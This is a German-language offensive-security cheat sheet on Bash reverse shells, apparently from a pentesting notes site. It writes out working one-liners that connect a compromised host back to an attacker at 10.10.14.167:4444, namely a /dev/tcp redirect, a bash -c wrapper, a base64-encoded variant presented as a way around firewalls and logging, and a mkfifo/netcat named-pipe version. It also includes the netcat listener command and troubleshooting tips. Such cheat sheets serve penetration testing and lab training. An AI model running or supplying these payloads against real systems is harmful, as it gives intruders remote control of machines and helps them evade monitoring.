Bash Shells
Eine Bash Reverse Shell ermöglicht es, von einem kompromittierten Zielsystem aus eine Verbindung zurück zum Angreifer zu öffnen. Dabei wird Ein- und Ausgabe über eine Netzwerkverbindung umgeleitet – typischerweise per TCP. Das Zielsystem initiiert die Verbindung, wodurch Firewalls oder NAT-Regeln oft umgangen werden können.
Einfache Bash Reverse Shell
bash -i >& /dev/tcp/10.10.14.167/4444 0>&1
Erklärung:
bash -i
: Startet eine interaktive Bash-Sitzung>& /dev/tcp/...
: Leitet stdout (Ausgabe) und stderr an den TCP-Socket weiter0>&1
: Leitet stdin (Eingabe) an denselben Socket
Voraussetzungen:
Zielsystem muss
/dev/tcp
unterstützen (wird von Bash über eine Shell-interne Funktion bereitgestellt)Der Angreifer muss einen Listener auf Port 4444 geöffnet haben (z. B. mit
nc -lvnp 4444
)
Einzeilige Variante für eingeschränkte Umgebungen
bash -c "bash -i >& /dev/tcp/10.10.14.167/4444 0>&1"
Wann verwenden?
Wenn du die Shell über einen Exploit startest, der nur einfache Befehle erlaubt (z. B.
sqlmap --os-cmd
, LFI-RCE, Webformulare)Wenn die Zielumgebung nur ein Kommando akzeptiert (kein vollständiges Skript oder keine Mehrzeiligkeit möglich)
Base64-kodierte Variante
echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjcvNDQ0NCAwPiYxIiB8IGJhc2g= | base64 -d | bash
Warum verwenden?
Um Firewalls oder Logging-Systeme zu umgehen
Um nicht erlaubte Sonderzeichen (z. B.
>
,&
) zu vermeidenHäufig bei eingeschränkten Web-Shells oder bei Upload über Formularfelder
Bash über Named Pipes (Alternative Technik)
mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 10.10.14.167 4444 > /tmp/f
Vorteil:
Kompatibel mit Systemen, bei denen
/dev/tcp/
nicht verfügbar istNutzt stattdessen Named Pipes (
mkfifo
) zur Umleitung der Ein-/Ausgabe
Typische Probleme und Lösungen
Keine Verbindung
Ziel kann nicht nach außen verbinden
Nutze Bind Shell oder Staging über HTTP
Kein Output in Shell
Kein interaktiver TTY
Mit script
, python -c
, stty
nachhelfen
Befehl wird nicht akzeptiert
Shell akzeptiert nur einfache Kommandos
Nutze bash -c "..."
oder Base64-Trick
Bash nicht vorhanden
Nur sh oder andere Shells installiert
Verwende alternative Shell-Reverse-Payloads
Last updated